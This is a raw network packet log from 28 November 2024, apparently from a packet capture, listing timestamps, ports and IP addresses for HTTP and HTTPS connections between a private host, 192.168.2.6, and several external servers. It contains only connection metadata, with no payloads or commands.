Nov 28, 2024 15:17:44.772195101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.772615910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.773013115 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.773031950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.773086071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.773881912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.773926020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.774784088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.774847984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.774859905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.774894953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.774926901 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.775727987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.775794983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.776190996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.776395082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.776622057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.776676893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.776781082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.776885986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.777551889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.777595043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.777664900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.777697086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.778479099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.778491020 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.778552055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.779643059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.779654026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.779731035 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.780342102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.781091928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.781157970 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.781233072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.781244040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.781281948 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.782130957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.782273054 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.783065081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.783076048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.783087969 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.783124924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.783148050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.783998966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.784040928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.784195900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.784235001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.784868002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.784939051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.785012960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.785057068 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.785784960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.785873890 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.786118031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.786189079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.786679983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.786739111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.787650108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.787661076 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.787681103 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.787715912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.787727118 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.788537025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.788623095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.789073944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.789129972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.789442062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.789552927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.789613962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.790443897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.790456057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.790503979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.791269064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.791320086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.791353941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.791444063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.792201996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.792253017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.792313099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.792362928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.792635918 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.792661905 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.792706966 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.792742968 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.792761087 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.792850971 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.793121099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.793314934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.793776989 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.793967962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.794049978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.794106960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.794609070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.794697046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.794962883 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.794975996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.795011044 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.795835972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.795882940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.795887947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.795941114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.796752930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.796796083 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.796994925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.797034979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.824558973 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.824584007 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.824630022 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.824666023 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.824683905 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.825509071 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.825532913 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.825562954 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.825697899 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.826061964 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.826097012 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.826890945 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.826908112 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.826931953 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.826967001 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.827138901 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.827147007 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.827188969 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.827491999 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.827517986 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.827687979 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.827706099 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.827717066 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.827837944 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.827851057 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.827977896 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.827989101 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.828061104 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.828069925 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.828191042 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:44.828201056 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:44.846442938 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.846463919 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.846517086 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.846537113 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.846555948 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.846575975 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.870918989 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.870942116 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.871007919 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.871026039 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.871066093 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.950448036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.950500965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.950522900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.950788975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.950855017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.950894117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.951076984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.951117039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.951164007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.951219082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.952071905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.952092886 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.952097893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.952117920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.952146053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.952924013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.952974081 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.953490973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.953532934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.953840017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.954149961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.954453945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.954545975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.954741955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.954802036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.955116034 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:44.955143929 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:44.955430984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.955631971 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.955692053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.955818892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.956305981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.956342936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.956619978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.956671953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.956780910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.956976891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.957503080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.957545042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.957794905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.957835913 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.958415985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.958458900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.958674908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.958715916 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.959383011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.959425926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.959573030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.959619999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.960268021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.960309982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.960429907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.960478067 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.961198092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.961204052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.961240053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.962079048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.962240934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.962265968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.962275982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.962980986 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.963017941 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.963108063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.963184118 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.963943005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.963985920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.964190960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.964449883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.964829922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.964881897 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.965153933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.965203047 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.965748072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.965882063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.965924978 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.966732025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.966785908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.966792107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.966841936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.967556953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.968199015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.968261003 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.968488932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.968995094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.969042063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.969424009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.969465971 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.969577074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.970139027 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.970295906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.970341921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.970913887 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.970978022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.971245050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.971290112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.971338034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.971375942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.972196102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.972250938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.972297907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.972377062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.973109007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.973278999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.973350048 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.974001884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.974086046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.974266052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.974328995 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.974908113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.974965096 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.975059986 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.975109100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.975827932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.975889921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.976196051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.976244926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.976756096 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.976835966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.976979017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.977083921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.977660894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.977705956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.977925062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.977967024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.978605986 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.978617907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.978652000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.979517937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.979559898 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.980068922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.980449915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.980514050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.980895996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.980961084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.981491089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.981503010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.981556892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.982258081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.982309103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.982381105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.982949972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.983155012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.983213902 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.983576059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.983628988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.984057903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.984251022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.984251976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.984303951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.985037088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.985049009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.985081911 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.985095024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.986077070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.986124039 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.986148119 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.986161947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.986532927 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.986588001 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.986666918 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.986670017 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.986670017 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.986814976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.986865044 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.986896038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.986931086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.986943960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.987062931 CET	49864	443	192.168.2.6	13.91.222.61
Nov 28, 2024 15:17:44.987095118 CET	443	49864	13.91.222.61	192.168.2.6
Nov 28, 2024 15:17:44.987746000 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.987796068 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.988004923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.988111019 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.988631964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.988859892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.989165068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.989207983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.989556074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.989605904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.989873886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.989917994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.990470886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.990520954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.990575075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.990623951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.991648912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.991713047 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.991749048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.991959095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.992297888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.992348909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.993243933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.993256092 CET	80	49804	185.215.113.206	192.168.2.6
